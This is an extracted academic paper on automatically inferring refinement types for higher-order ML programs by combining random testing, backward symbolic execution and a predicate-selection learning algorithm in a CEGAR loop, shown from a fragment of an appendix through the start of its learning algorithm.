Synchronously writes a value to the provided channel; this
operation is built into the core calculus (see Figure 3).

Runtime
• catch : (τ → τ ′)→ τ ′ → τ ′

Catches a raised exception with the provided handler, or returns
the result if an exception is not raised; this operation is built into
the core calculus (see Figure 3).

• delay : τ → τ
Delays its input, constructing a delay-cell process; this is con-
structed as a “language macro” from spawn, catch, read, write,
and chan (see Figure 4).

• drefι1,ι2 : τ
A record or tagged pair of channels that indicate a delayed
reference, containing the channels necessary to interact with it
via force; this is a data constructor (see Figure 4).

• spawn : T → τ → ()
Creates a new process using the provided process tag; this
operation is built into the core calculus (see Figure 3).
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Abstract
We propose the integration of a random test generation system
(capable of discovering program bugs) and a refinement type sys-
tem (capable of expressing and verifying program invariants), for
higher-order functional programs, using a novel lightweight learn-
ing algorithm as an effective intermediary between the two. Our
approach is based on the well-understood intuition that useful, but
difficult to infer, program properties can often be observed from
concrete program states generated by tests; these properties act as
likely invariants, which if used to refine simple types, can have their
validity checked by a refinement type checker. We describe an im-
plementation of our technique for a variety of benchmarks written
in ML, and demonstrate its effectiveness in inferring and proving
useful invariants for programs that express complex higher-order
control and dataflow.

Categories and Subject Descriptors D.2.4 [Software Engineer-
ing]: Software/Program Verification-Correctness proofs, Formal
methods; F.3.1 [Logics and Meanings of Programs]: Specifying
and Verifying and Reasoning about Programs

Keywords Refinement Types, Testing, Higher-Order Verification,
Learning

1. Introduction
Refinement types and random testing are two seemingly disparate
approaches to build high-assurance software for higher-order func-
tional programs. Refinement types allow the static verification of
critical program properties (e.g. safe array access). In a refinement
type system, a base type such as int is specified into a refine-
ment base type written {int| e} where e (a type refinement) is a
Boolean-valued expression constraining the value of the term de-
fined by the type. For example, {int| ν > 0} defines the type of
positive integers where the special variable ν denotes the value of
the term. Refinement types naturally generalize to function types.
A refinement function type, written {x : Px → P}, constrains the
argument x by the refinement type Px, and produces a result whose
type is specified by P . Refinement type systems such as DML [41]
and LIQUIDTYPES [28] have demonstrated their utility in validat-
ing useful specifications of higher-order functional programs.
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l e t max x y z m = m (m x y) z
l e t f x y = i f x >= y t h e n x e l s e y
l e t main x y z =

l e t result = max x y z f i n
assert (f x result = result)

Figure 1. A simple higher-order program

To illustrate, consider the simple program shown in Fig. 1.
Intuitive program invariants for max and f can be expressed in
terms of the following refinement types:

max :: (x : int→y : int→z : int→
m : (m0 : int→m1 : int→{int| ν ≥ m0 ∧ ν ≥ m1})
→{int|ν ≥ x ∧ ν ≥ y ∧ ν ≥ z})

f :: (x : int→y : int→{int| ν ≥ x ∧ ν ≥ y})

The types specify that both max and f produce an integer that is
no less than the value of their parameters. However, these types
are not sufficient to prove the assertion in main ; to do so, requires
specifying more precise invariants (we show how to find sufficient
invariants for this program in Section 2).

On the other hand, random testing, exemplified by systems like
QUICKCHECK [6], can be used to define useful underapproxima-
tions, and has proven to be effective at discovering bugs. However,
it is generally challenging to prove the validity of program asser-
tions, as in the program shown above, simply by randomly execut-
ing a bounded number of tests.

Tests (which prove the existence, and provide conjectures on the
absence, of bugs) and types (which prove the absence, and conjec-
ture the presence, of bugs) are two complementary techniques for
understanding program behavior. They both have well-understood
limitations and strengths. It is therefore natural to ask how we might
define synergistic techniques that exploit the benefits of both.
Approach. We present a strategy for automatically constructing re-
finement types for higher-order program verification. The input to
our approach is a higher-order program P together with P’s safety
property ψ (e.g. annotated as program assertions). We identify P
with a set of sampled program states. “Good” samples are col-
lected from test runs; these are reachable states from concrete ex-
ecutions that do not lead to a runtime assertion failure that invali-
dates ψ. “Bad” samples are states generated from symbolic execu-
tions which would produce an assertion failure, and hence should
be unreachable; they are synthesized from a backward symbolic
execution, structured to traverse error paths not explored by good
runs. The goal is to learn likely invariants ϕ of P from these sam-
ples. If refinement types encoded from ϕ are admitted by a refine-
ment type checker and ensure the property ψ, thenP is correct with
respect to ψ. Otherwise, ϕ is assumed as describing (or fitting)
an insufficient set of “Good” and “Bad” samples. We use ϕ as a
counterexample to drive the generation of more “Good” and “Bad”
samples. This counterexample-guided abstraction refinement (CE-
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Verifier (P,ϕ,ψ)

Deducer (P,ϕ,ψ)

Learner (VG, VB)

Runner (P, iv,ψ)

ψ failed

intput iv

bad samples VB

good samples VG

likely inv ϕ

failed inv ϕ

ψ verified

Safety Property ψ
Program P with initial inv ϕ : true

Figure 2. The Main algorithm.

GAR) process [7] repeats until type checking succeeds, or a bug is
discovered in test runs.

There are two algorithmic challenges associated with our proof
strategy: (1) how do we sample good and bad program states in the
presence of complex higher-order control and dataflow? (2) how
do we ensure that the refinement types deduced from observing
the sampled states can generally capture both the conditions (a)
sufficient to capture unseen good states and (b) necessary to reject
unseen bad ones?

The essential idea for our solution to (1) is to encode the un-
known functions of a higher-order function (e.g. function m in
Fig. 1) as uninterpreted functions, hiding higher-order features
from the sampling phase. Our solution to (2) is based on learning
techniques to abstract properties classifying good states and bad
states derived from the CEGAR process, without overfitting the in-
ferred refinement types to just the samples.
Implementation. We have implemented a prototype of our frame-
work built on top of the ML type system. The prototype can take
a higher-order program over base types and polymorphic recur-
sive data structures as input, and automatically verify whether the
program satisfies programmer-supplied safety properties. We have
evaluated our implementation on a set of challenging higher-order
benchmarks. Our experiments suggest that the proposed technique
is lightweight compared to a pure static higher-order model checker
(e.g. MOCHI [17]), in producing expressive refinement types for
programs with complex higher-order control and data flow. Our
prototype can infer invariants comprising arbitrary Boolean com-
binations for recursive functions in a number of real-world data
structure programs, useful to verify non-trivial data structure speci-
fications. Existing approaches (e.g. LIQUIDTYPES [28]) can verify
these programs only if such invariants are manually supplied which
can be challenging for programmers.
Contributions. Our paper makes the following contributions:

• A CEGAR-based learning framework that combines testing
with type checking, using tests to exercise error-free paths and
symbolic execution to capture error-paths, to automatically in-
fer expressive refinement types for program verification.
• An integration of a novel learning algorithm that effectively

bridges the gap between the information gleaned from samples
to desired refinement types.
• A description of an implementation, along with experimental

results over a range of complex higher-order programs, that
validates the utility of our ideas.

2. Overview
This section describes the framework of our approach, outlined
in Fig. 2. Our technique takes a (higher-order) program P and
its safety property ψ as input. To bootstrap the inference process,

the initial program invariant ϕ is assumed to be true. A Deducer
(a) uses backward symbolic execution starting from program states
that violateψ, to supply bad sample states at all function entries and
exits, i.e., those that reflect error states of P , sufficient to trigger a
failure of ψ. A Runner (b) runs P using randomly generated tests,
and samples good states at all function entries and exits. These good
and bad states are fed to a Learner (c) that builds classifiers from
which likely invariants ϕ (for functions) are generated. Finally a
Verifier (d) encodes the likely invariants into refinement types and
checks whether they are sufficient to prove the provided property.
If the inferred types fail type checking, the failed likely invariants
ϕ are transferred from the Verifier to the Deducer, which then
generates new sample states based on the cause of the failure.
Our technique thus provides an automated CEGAR approach to
lightweight refinement type inference for higher-order program
verification.

In the following, we consider functional arguments and return
values of higher-order functions to be unknown functions. All other
functions are known functions.
Example. To illustrate, the program shown in the left column of
Fig. 3 makes heavy use of unknown functions (e.g., the functional
argument a of init is an unknown function). In the function
main , the value for a supplied by f is a closure over n , and
when applied to a value i , it checks that i is non-negative but less
than n , and returns 0. The function init iteratively initializes the
closure a ; in the i -th iteration the call to update produces a new
closure that is closed over a and yields 1 when supplied with i .
Our system considers program safety properties annotated in the
form of assertions. The assertion in main specifies that the result
of init should be a function which returns 1 when supplied with
an integer between [0, n ).

Verifying this program is challenging because a proof system
must account for unknown functions. The program also exhibits
complex dataflow (e.g., init can create an arbitrary number of
closures via the partial application of update ); thus, any useful
invariant of init must be inductive. We wish to infer a useful
refinement type for init, consistent with the assertions in main
and f without having to know the concrete functions that may be
bound to a a priori (note that a is dynamically updated in each
recursive iteration of init ).
Hypothesis domain. Assume that f is higher-order function and
Θ(f) includes all the arguments (or parameters) and return vari-
ables bound in the scope of f . For each variable x ∈ Θ(f), if x
presents an unknown function, we define Ω(x) = [x0;x1; · · · ;xr]
in which the sub-indexed variables are the arguments (x0 denotes
the first argument of x) and xr denotes the return of x. Other-
wise, if x is a base typed variable, Ω(x) = [x]. We further de-
fine Ω(f) =

⋃
x∈Θ(f) Ω(x). We consider refinement types of f

with type refinements constructed from the variables in Ω(f). For
example, Ω(init) includes variables i, n, a0, ar where a0 and ar
denote the parameter and return of a.

Assume {y1, · · · , ym} are numeric variables bound in Ω(f).
In this paper, following LIQUIDTYPES [28], to ensure decidable
refinement type checking, we restrict type refinements to the de-
cidable logic of linear arithmetic. Formally, our system learns type
refinements (invariants for function f ) which are arbitrary Boolean
combination of predicates in the form of Equation 1:

c1y1 + · · ·+ cmym + d ≤ 0 (1)

where {c1, · · · , cm} are integer coefficients and d is an integer
constant. Our hypothesis domain is parameterized by Equation 1.

To deliver a practical algorithm, we define C = {−1, 0, 1} and
D as the set of the constants and their negations that appear in the
program text of f and requires that all the coefficients ci ∈ C and
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l e t f n i =
(assert (0≤i ∧ i<n);0)

l e t update i a y j =
i f (j = i) t h e n y
e l s e a j

l e t r e c init i n a =
i f i ≥ n t h e n a
e l s e

l e t u = update i a 1
i n init (i+1) n u

l e t main n j =
l e t a = f n i n
l e t r = init 0 n a i n
i f j≥0 ∧ j<n t h e n
assert (r j = 1)

l e t main n j =
l e t a = f n i n
l e t r = init 0 n a i n

{δ1 :
�� ��(j ≥ 0) ∧ (j < n) ∧ r j 6= 1 }

i f j≥0 ∧ j<n
t h e n assert (r j = 1)

l e t r e c init i n a =

{δprebad :
�� ��(i ≥ n ∧ δ5) ∨ (¬(i ≥ n) ∧ δ4)

from the if-expression

}

i f i ≥ n t h e n

{δ5 :
�� ��(j ≥ 0) ∧ (j < n) ∧ a j 6= 1

from [a/ν]δpostbad

} a

e l s e {δ4 is obtained after processing update in δ3}
{δ3 :

�� ��i + 1 ≥ n ∧ (j ≥ 0) ∧ (j < n) ∧ update i a 1 j 6= 1 }
l e t u = update i a 1

{δ2 :
�� ��i + 1 ≥ n ∧ (j ≥ 0) ∧ (j < n) ∧ u j 6= 1

unroll init once

}
i n init (i+1) n u

{δpostbad:
�� ��(j ≥ 0) ∧ (j < n) ∧ ν j 6= 1

from [ν/r]δ1

}

Figure 3. A higher-order program (in the first column) and its bad-conditions (in the latter two columns).

d ∈ D. We define two helper functions used throughout the paper.

min(y1, · · · , ym) = min
∀i.ci∈C. d∈D

{c1y1 + · · ·+ cmym + d} − 1

max(y1, · · · , ym) = max
∀i.ci∈C. d∈D

{c1y1 + · · ·+ cmym + d}+ 1

We now exemplify the execution flow presented in Fig. 2 by learn-
ing an invariant for function init .
Deducer. Any invariant inferred for init must be sufficiently
strong to prevent assertion violations. Using assertions in the pro-
gram, we perform a backward symbolic analysis (wp generation
defined in Sec. 4), to capture bad runs, the pre- and post conditions
of a known function sufficient to lead to an assertion failure, which
we call its pre- and post-bad conditions. Bad program states are
sampled as (SMT) solutions to such conditions. Program states at a
function’s entry and exit are called its pre- and post-states.

Consider the bad-conditions in the boxes in the program in
Fig. 3, generated by a backward symbolic analysis from the as-
sertion in main to the call to init . To capture bad conditions that
cause failures, we negate the assertion, incorporating the path con-
dition before the assertion in δ1. Substituting ν (syntactic sugar for
the value of an expression) for r in δ1, we obtain δpostbad which de-
notes the post-bad condition for init . δ5 instantiates ν in δpostbad
to the real return variable a for the then branch of the if -
expression; assume the bad-condition for the else branch is δ4,
we then infer the pre-bad condition for init as δprebad. Notably, in
this process, we consider unknown functions as uninterpreted (e.g.
a in δ5), allowing us to generate useful constraints over their in-
put (e.g. j ) and output (e.g. a j ). As a result, bad samples for
init can be queried from δprebad and δpostbad, using SMT solvers
with decidable first-order logic with uninterpreted functions [23].
Recursive functions are unrolled twice in this example as reflected
by δ2.

Consider how we might generate a useful precondition for
init. Recall that a0 and ar denote the parameter and return val-
ues of the unknown function a within init . The bad pre-states,
sampled from δprebad for init , are listed as entries under label B
in Table 1(a). Our symbolic analysis concludes, in the absence of
proper constraints on init ’s inputs, that an assertion violation in
main occurs if the call to the closure a with 0 returns either -1 or
2 when the iterator i is already increased to 1 .

Furthermore, the symbolic analysis for an unknown function
is deferred until a known function to which it is bound (say, at
a call-site) is supplied. The conditions defined for the unknown
function that lead to assertion failures can eventually be propagated
to the known function and used for deriving its bad samples. This is
demonstrated in δ3, where the unknown function u is substituted
with the function update , which can drive sampling for update .

Deducer is also used to provide a test input for Runner based
on failed invariants as counterexamples. For the initial case, we use
random testing to “seed” the inference process.
Runner. Our test infrastructure instruments the entry and exit of
function bodies to log values of program variables into a log-file;
these values represent a coarse underapproximation of a function’s
pre- and post-state. For example, with a random test input, we
might invoke main by supplying 4 as the argument for n and 0 as
the argument for j . When init is invoked from main , we record
the binding for its parameters, i to 0 and n to 4. The values for
arguments i and n can be used to build a coarse specification. The
question is how do we seed a specification for a , without tracking
its flow to and from update , which happens within a series of
recursive calls to init ? Note that the argument to the application
of a takes place in update but not init . To realize an efficient
analysis, we sample the unknown function a by calling it with
inputs from [min ( i , n ), ..., max ( i , n )] in the instrumented code,
with the expectation that its observed input/output pairings can be
subsequently abstracted into a relation defined in terms of i and
n . Note that, at run-time, the values of i and n are known. This
design is related to the hypothesis domain and function min and
max are exactly defined according to the hypothesis domain (see
their definitions above).

In Table 1(a), entries labeled under G represent good pre-states
at the entry of init ; these states lead to a terminating execution
that does not trigger an assertion failure. In the second iteration
of the function init , we record that function a returns 1 when
supplied with 0. This corresponds to the good sample in the first
row in the table; at this point, the closure a has been initialized
such that (a 0) = 1 and (a a0) = 0 for 0 < a0 < n .
Learner. A classifier that admits all good samples and prohibits all
bad ones is considered a likely invariant. We rely on predicate ab-
straction [11] to build these classifiers. For illustration, consider a
subset of the atomic predicates obtained from Equition 1 (simpli-
fied for readability): Π0 ≡ a0 ≥ 0,Π1 ≡ a0 < n,Π2 ≡ ar <
n,Π3 ≡ a0 < i,Π4 ≡ ar < i,Π5 ≡ i < n,Π6 ≡ ar = 1.
Our goal is to learn a sufficient invariant over such predicates. The
challenge is to obtain a classifier that generalizes to unseen states.
We are inspired by the observation that a simple invariant is more
likely to generalize than a complex one [1]. Similar arguments have
been demonstrated in machine learning and static verification tech-
niques [13].

To learn a simple invariant, a learning algorithm should select
a minimum subset of the predicates that separates all good states
from all bad states. In the example, we first convert the original
data sample into a Boolean table, evaluating the atomic predicates
using each sample; the result is shown in Table 1(b) and we show
the selection informally in Table 1(c) (Π3 and Π6 constitute a
sufficient classifier). To compute a likely invariant, we generate its
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Table 1. Classifying good (G) and bad (B) samples to construct an invariant (precondition) for init .
(a) samples

n i a 0 ar

G

4 1 0 1
4 1 1 0
4 1 2 0
4 3 2 1
4 3 3 0

B
1 1 0 2
2 1 0 -1

(b) relate samples to predicates

Π0 Π1 Π2 Π3 Π4 Π5 Π6

G

1 1 1 1 0 1 1
1 1 1 0 1 1 0
1 1 1 0 1 1 0
1 1 1 1 1 1 1
1 1 1 0 0 1 0

B
1 1 0 1 0 0 0
1 1 1 1 1 1 0

(c) select predicates

Π3 Π6

G
1 1
0 0

B 1 0

(d) truth table

Π3 Π6

G
1 1
0 0
0 1

B 1 0

truth table Table 1(d). The table rejects all (Boolean) bad samples
in Table 1(c) and accepts all the other possible samples, including
the good samples in Table 1(c). Note that we generalize good states.
The truth table accepts more good states than sampled. We apply
standard logic minimization techniques [20] to the truth table to
generate the Boolean structure of the likely invariant. We obtain
¬Π3 ∨Π6, which in turn represents the following likely invariant:

¬(a0 < i) ∨ ar = 1

During the course of sampling the unknown function a , our
system captures that certain calls to a may result in an assertion
violation (rooted from the assertion in f ). Consider a call to a
that supplies an integer argument less than 0 or no less than n.
These calls, omitted in the table, provide useful constraints on a ’s
inputs, which are also used by Learner. Indeed, comparing such
calls to calls that do not lead to an assertion violation allows the
Learner to deduce the invariant: ψ0 ≡ a0 ≥ 0 ∧ a0 < n, that
refines a ’s argument. We treat ψ0 and ψ1 as likely invariants for
the precondition for init. A similar strategy can be applied to also
learn the post-condition of init .
Verifier. We encode likely program invariants into refinement types
in the obvious way. For example, the following refinement types
are automatically synthesized for init :

i : int→ n : int→
a : (a0 : {int|ν ≥ 0 ∧ ν < n} → {int|¬(a0 < i) ∨ ν = 1})
→ ({int|ν ≥ 0 ∧ ν < n} → {int|ν = 1})

This type reflects a useful specification - it states that the argument
a to init is a function that expects an argument from 0 to n , and
produces a 1 only if the argument is less than i ; the result of init
is a function that given an input between 0 and n produces 1 .
Extending [28], we have implemented a refinement type checking
algorithm, which confirms the validity of the above type that is also
sufficient to prove the assertions in the program.
CEGAR. Likely invariants are not guaranteed to generalize if in-
ferred from an insufficient set of samples. We call likely invariants
failed invariants if they fail to prove the specification. They are
considered counterexamples, witnessing why the specification is
refuted. Notice that, however, these could be spurious counterex-
amples. We develop a CEGAR loop that tries to refute a counterex-
ample by sampling more states. If the counterexample is spurious,
new samples prevent the occurrence of failed invariants in subse-
quent iterations.
Bad sample generation. Assume that Learner is only provided with
the first bad sample in Table 1(a). The good and bad samples are
separable with a simple predicate Π2 ≡ ar < n. This predicate is
not sufficiently strong since it fails to specify the input of a . To
strengthen such an invariant, we ask for a new bad sample from the
SMT solver for the condition:

ϕprebad ∧ (ar < n)

which was captured as the second bad sample in Table 1(a). The
new bad sample would invalidate the failed invariants.

Good sample generation. We exemplify our CEGAR loop in sam-
pling good states using the program of Fig. 1. To bootstrap, we may
run the program with arguments 1,2 and 3 , and infer the follow-
ing types:

max ::(x : int→ y : int→ z : int→
m : (· · · )→ {int|ν > x ∧ ν ≥ y})

The refinement type of max is unnecessarily strong in specifying
that the return value must be strictly greater than x . To weaken
such a type, we seek to find a sample in which the return value of
max equals x . To this end, we forward the failed invariant to the
Deducer, which symbolically executes the negation of the post-
condition of max (ν > x ∧ ν ≥ y) back to main using our
symbolic analysis. A solution to the derived symbolic condition
(from an SMT solver) constitutes a new test input, e.g., a call to
main with arguments 3 , 2 and 1 . With a new set of good samples,
the program then typechecks with the desired refinement types:

max :: (x : int→y : int→z : int→
m : (m0 : int→m1 : int→{int| ν ≥ m0 ∧ ν ≥ m1})
→{int|ν ≥ x ∧ ν ≥ y ∧ ν ≥ z})

f :: (x : int→y : int→{int| ν ≥ x ∧ ν ≥ y ∧
((x ≤ y ∧ ν ≤ y) ∨ (x > y ∧ ν > y))})

The refinement type for f reflects the result of both the first
and the second test. The proposition defined in the first disjunct,
x ≤ y ∧ ν ≤ y captures the behavior of the call to f from max
in the first test, with arguments x less than y ; the second disjunct
x > y∧ν > y captures the effect of the call to f in the second test
in which x is greater than y .
Data Structures. Our approach naturally generalizes to richer (re-
cursive) data structures. Important attributes of data structures can
often be encoded into measures (data-sorts), which are functions
from a recursive structure to a base typed value (e.g. the height of
a tree). Our approach verifies data structures by generating sam-
ples ranging over its measures. In this way, we can prove many
data structure invariants (e.g. proving a red-black tree is a balanced
tree).

Consider the example in Fig. 4. Function iteri is a higher-
order list indexed-iterator that takes as arguments a starting index
i , a list xs , and a function f . It invokes f on each element of
xs and the index corresponding to the elements position in the list.
Function mask invokes iteri if the lengths of a Boolean array
a and list xs match. Function g masks the j -th element of the
array with the j -th element of the list.

Our technique considers len, the length of list ( xs ), as an
interesting measure. Suppose that we wish to verify that the array
reads and writes in g are safe. For function iteri , based on our
sampling strategy, we sample the unknown function f by calling
it with inputs from [min (i, len xs), ..., max (i, len xs)] in the
instrumented code. Since f binds to g , defined inside of mask ,
our system captures that some calls to f result in (array bound)
exception, when the first argument to f is less than 0 or no less
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l e t r e c iteri i xs f =
match xs w i t h
| [ ] → ()
| x::xs →

(f i x;
iteri (i+1) xs f)

l e t mask a xs =
l e t g j y =
a[j] ← a[j] && y i n

i f Array.length a =
len xs t h e n

iteri 0 xs g

Figure 4. A simple data structure example.

than i + len xs. Separating such calls from calls that do not raise
the exception, our tool infers the following refinement type:

iteri :: (i : {int|ν ≥ 0} → xs : ′a list→
f : (f0 : {int|ν ≥ 0 ∧ ν < i + len xs} → ′

a→ ())→ ())

This refinement type is the key to prove that all array accesses in
function mask (and g ) are safe.

3. Language
Syntax. For exposition purposes, we formalize our ideas in the
context of an idealized language: a call-by-value variant of the λ-
calculus, shown in Fig. 5, with support for refinement types defined
in Sec. 1. We cover recursive data structures in Sec. 7.

Typically, x and y are bound to variables; f is bound to function
symbol. A refinement expression is either a refinement variable (κ)
that represents an initially unknown type refinement or a concrete
boolean expression (e). Instantiation of the refinement variables to
concrete predicates takes place through the type refinement algo-
rithm described in Sec. 6.

Note that the let rec binding (in our examples) is syntactic
sugar for the fix operator: let rec f x̃ = e in e′ is converted
from let f = fix ( fun f → λx̃.e) in e′. Here, x̃ abbreviates a
(possibly empty) sequence of arguments {x0, · · · , xn}. The length
of x̃ is called the arity of f .

Our language is A-normalized. For example, in function appli-
cations f ỹ, we ensure every function and its arguments are asso-
ciated with a program variable. When the length of ỹ is smaller
than the arity of f , f ỹ is a partial application. For any expres-
sion of the form let f = λx̃.e in e′, we say that the function f is
known in the expression e′. Functional arguments and return values
of higher-order functions are unknown (e.g., in let g = f v in e′

if the symbol g is used as a function in e′, it is an unknown func-
tion in e′; similarly in λx. e′ if x is used as a function in e′, x is an
unknown function in e′). The statement “ assert p” is standard.
Programs with assertion failure would immediately terminates.
Semantics. We reuse the refinement type system defined in [28];
the type checking rules are given in [44].

B ∈ Base ::= int | bool
P ∈ RefinementType ::= {B |κ} | {B | e} | {x : P → P}
x, y, ν, f ∈ Var c ∈ Constant ::= 0, . . . , true , false

v ∈ Value ::= c | x | y | fix ( fun f → λx̃. e) | λx̃.e
op ∈ Operator ::= {+,−,≥,≤,¬, · · · }

e ::= v | op (v0, · · · , vn) | assert v | if v then e1 else e2 |
let x = e in e′ | f ỹ

Figure 5. Syntax

4. Higher-Order Program Sampling
In this section, we sketch how our system combines information
gleaned from tests and (backward) symbolic analysis to prepare a
set of program samples for higher-order programs.

Sampled Program States. In our approach, sampled program
states, ranged over with the metavariable σ, map variables to val-
ues in the case of base types and map unknown functions to a
set of input/output record known to hold for the unknown func-
tion from the tests. For example, if x is a base type variable
we might have that σ(x) = 5. If f is a unary unknown func-
tion that was tested on with the arguments 0, 1 and 2 (such as
the case of a in Table 1(a)), we might for instance have that
σ(f) = {(f0 : 0, fr : 1), (f0 : 1, fr : 0), (f0 : 2, fr : 0)}
where we use f0 to index the first argument of f and fr to de-
note its return variable. The value of fr is obtained by applying
function f to the value of f0. Importantly, fr is assigned a special
value “ err ” if an assertion violation is triggered in a call to f with
arguments recorded in f0.
WP Generation. “Bad” program states are captured by pre- and
post-bad conditions of known functions sufficient to lead to an as-
sertion violation. To this end, we implement a backward symbolic
analysis, wp, analogous to weakest precondition generation; the
analysis simply pushes up the negation of assertions backwards,
substituting terms for values in a bad condition δ based on the
structure of the term e. As is typical for weakest precondition gen-
eration, wp ensures that the execution of e, from a state satisfying
wp(i, e, δ), terminates in a state satisfying δ. To ensure termination,
recursive functions are unrolled a fixed number of times, defined by
the parameter i. The definition of wp is given as follows:

wp(i, e, δ) =

let δ = match e with

| if v then e1 else e2 →
((v ∧ wp(i, e1, δ)) ∨ (¬v ∧ wp(i, e2, δ)))

| let x = e1 in e2 → wp(i, e1, [ν/x]wp(i, e2, δ)))

| v ⇒ [e/ν]δ

| op (v0, · · · , vn)⇒ [e/ν]δ

| assert p→ ¬p ∨ δ
| f ỹ → (match f with

| unknown fun or partial application→ [(f ỹ)/ν]δ

| known fun (when let f = λx̃. e)→ [ỹ/x̃]wp(i, e, δ)

| known fun (when let f = fix ( fun f → λx̃.e))→
if i > 0 then [ỹ/x̃]wp(i− 1, e, δ) else false )

in

if exists f ỹ in δ and f is a known fun

then wp(i, f ỹ, [ν/(f ỹ)]δ) else δ

Our wp function is standard, extended to deal with unknown func-
tion calls. The concept of known function and unknown function
is defined in Sec. 3. Our idea is to encode unknown functions into
uninterpreted functions, reflected in the f ỹ case for an application
expression when f is an unknown function with a list of argument
ỹ or f ỹ is a partial application. As a result, we can generate con-
straints over the input/output behaviors of unknown functions for
higher-order functions (e.g. δ5 in Fig. 3). The symbolic analysis for
the actual function represented by the unknown function is deferred
until it becomes known (e.g. δ3 in Fig. 3), reflected in the last two
lines of the definition—if there exists a known function f that has
substituted an unknown function in δ (e.g. at a call-site), and f ỹ∈ δ
where ỹ is a list of arguments, we perform wp(i, f ỹ, [ν/(f ỹ)]δ).

In the f ỹ case, if f is bound to a known recursive function,
since we restrict the number of times a recursive function is un-
rolled, when i = 0, we simply return false to avoid considering
further unrolling of f ; otherwise, the bad-condition δ is directly
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l e t app x (f:int→(int→int)→int) g = f x g
l e t f x k = k x
l e t check x y = (assert (x = y); x)
l e t main a b = app (a * b) f (check (a * b))

Figure 6. Generating samples for g , bound to parameter k in f ,
may trigger assertion violations in check .

pushed back to the definition of f in order to drive the sampling for
f . In the latter case, the value of i is accordingly decremented.

During wp, the symbolic conditions collected at the entry and
exit point of each function is treated as the pre- and post-bad
condition of the function (e.g. δprebad and δpostbad in Fig. 3).
Program Sampling. Our approach instruments the original pro-
gram at the entry and exit point of a function to collect values for
each function parameter and return, together with variables in its
lexical scope (for closures). The instrumentation for base type vari-
ables is trivial. To sample an unknown function, we adopt two con-
servative strategies.

1. A side-effect of wp’s definition is that it provides hints on how
unknown functions are eventually used because the arguments
to such functions are already encoded into uninterpreted forms.
If the variables that compose the arguments are all in the lexical
scope, we call the function with those arguments (e.g. the argu-
ment j to unknown function a inside function update in Fig. 3
is considered in-scope).

2. The arguments supplied to unknown functions may not be in-
scope (e.g. recall that in function init in Fig. 3 the argument
j to a is supplied in update and undefined in init). In this
case, for a base type argument, we supply integers drawn from
min(x̃) to max(x̃) where x̃ are integer parameters from the
higher-order function that hosts the unknown function. The goal
is to build a refinement type of the unknown function based
on its relation (parameterized by our hypothesis domain) with
variables in x̃. The definition of min and max is in Sec. 2. For a
function type argument that is not in-scope, we similarly supply
ghost functions with return values from the above domain.

For each known function, bad samples (VB) can be queried
from an SMT solver as solutions to its pre- and post-bad conditions
generated by wp. During the course of sampling good states, the call
to an unknown function with arguments according to the second
sampling strategy (above) may raise an assertion failure that is
associated with an “ err ” return value. We classify the subset of
samples involving “ err ” as an additional set of bad samples (V ′B).
The rest of the samples from test outcomes constitute good program
states (VG). Intuitively, VB can constrain the output while V ′B can
constrain the input of unknown function in a likely invariant. For
example, we may call (main 0 0) for the program given in Fig. 6
and obtain the sample states for function app shown in Fig. 7 where
the first argument of f and g are supplied from x-1 to x+1. Samples
in which calls to the unknown function g return err (because
it would trigger an assertion violation in check ) will be used to
strengthen g ’s pre-condition.

x f0 f1 fr g0 gr
0 1 g err -1 err
0 0 g 0 0 0
0 -1 g err 1 err

· · ·

Figure 7. Sample table for pre-state of app in Fig. 6

Sample Generalization. Our main idea is to generalize useful in-
variants from good program states based on the expectation that

such invariants (even for unknown functions) should be observ-
able from test runs. By summarizing the properties that hold in all
such runs, we can construct likely invariants. In addition, the use
of bad program states, which are either solutions of bad-conditions
queried from an SMT solver (VB) or collected from the “ err ”
case during sampling of an unknown function (V ′B), enables a
demand-driven inference technique. With a set of good (VG) and
bad (VB ∪ V ′B) program states, our method exploits a learning al-
gorithmL(VG, VB) (resp.L(VG, V

′
B)) to produce a likely invariant

that separates VG from VB (resp. V ′B). We lift these invariants to a
refinement type system and check their validity through refinement
type checking technique (Sec. 6).

5. Learning Algorithm
We describe the design and implementation of our learning algo-
rithm L(VG, VB) in this section. Suppose we are given a set of
good program states VG and a set of bad program states VB , where
both VG and VB contain states which map variables to values. We
simplify the sampled states by abstracting away unknown function
f : each sampled state σ in VG and VB only records the values of
its parameters f0, · · · and return fr . We base our analyses on a
set of atomic predefined predicates Π = {Πi}0≤i<n from which
program invariants are constructed. Recall the hypothesis domain
defined in Sec. 2. Each atomic predicate Πi is of the form:

c1y1 + · · ·+ cmym + d ≤ 0

where {y1, · · · , ym} are numerical variables from the domains of
VG and VB , each ci ∈ C (i = 1, · · · ,m) is an integer coefficient
and d ∈ D is an integer constant. We have restricted D to a finite
set of integer constants and its negations from the program text and
C = {−1, 0, 1}. Note that further restricting the number of nonzero
ci to at most 2 enables the learning algorithm to choose predicates
from a subset of the octagon domain. In our experience, we have
found such a selection to be a feasible approach, attested by our
experiments in Sec. 8. Thanks to this parameterization, we can
draw on predicates from a richer abstract domain without requiring
any re-engineering of the learning algorithm.

The problem of inferring an invariant then reduces to a search
problem from the chosen predicates. A number of static invariant
inference techniques have been proposed for efficient search over
the hypothesis space generated by Π [9, 28]. Compared to those,
our algorithm has the strength of discovering invariants of arbitrary
Boolean structure. In our context, given Π, an abstract state α over
σ ∈ (VG ∪ VB) is defined as:

α(σ) ≡ { 〈Π1(σ), · · · ,Πn(σ)〉 }
We say that L(VG, VB) is consistent with respect to VG and VB ,
if ∀σ ∈ VG . α(σ) ⇒ L(VG, VB), and ∀σ ∈ VB . α(σ) ∧
L(VG, VB) ⇒ false. Intuitively, we desire L to compute an
interpolant or classifier (that is derived from atomic predicates in
Π) that separates the good program states from the bad states [32].

However, we would like to discover classifiers from samples
with the property that they generalize to yet unseen executions.
Therefore, we exploit a simple observation: a general invariant
should be simple enough. Specifically, we answer the question by
finding the minimal invariant from the samples, in terms of the
number of predicates that are used in the likely invariant. This idea
has also been explored before in the context of computing simple
proofs based on interpolants [13, 21].

To this end, we build the following constraint system. Us-
ing Π, we transform VG and VB that are defined over inte-
gers to V b

G and V b
B defined over Boolean values. Specifically,

V b
G = {〈(Π1(σ), · · · ,Πn(σ))〉| σ ∈ VG}. V b

B is defined dually.
Table 1(b) is an example of such conversion from Table 1(a). We as-
sociate an integer variable seli to the ith predicate Πi(0 ≤ i < n).
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Algorithm 1: L (VG, VB)

1 let (ϕ1, ϕ2) = encode (VG, VB) in
2 let k := 1 in
3 if sat (ϕ1 ∧ ϕ2) 6= UNSAT) then
4 while not (sat (ϕ1 ∧ ϕ2 ∧ (Σiseli = k)) do
5 k := k + 1
6 McCluskey (smt model (ϕ1 ∧ ϕ2 ∧ (Σiseli = k)))
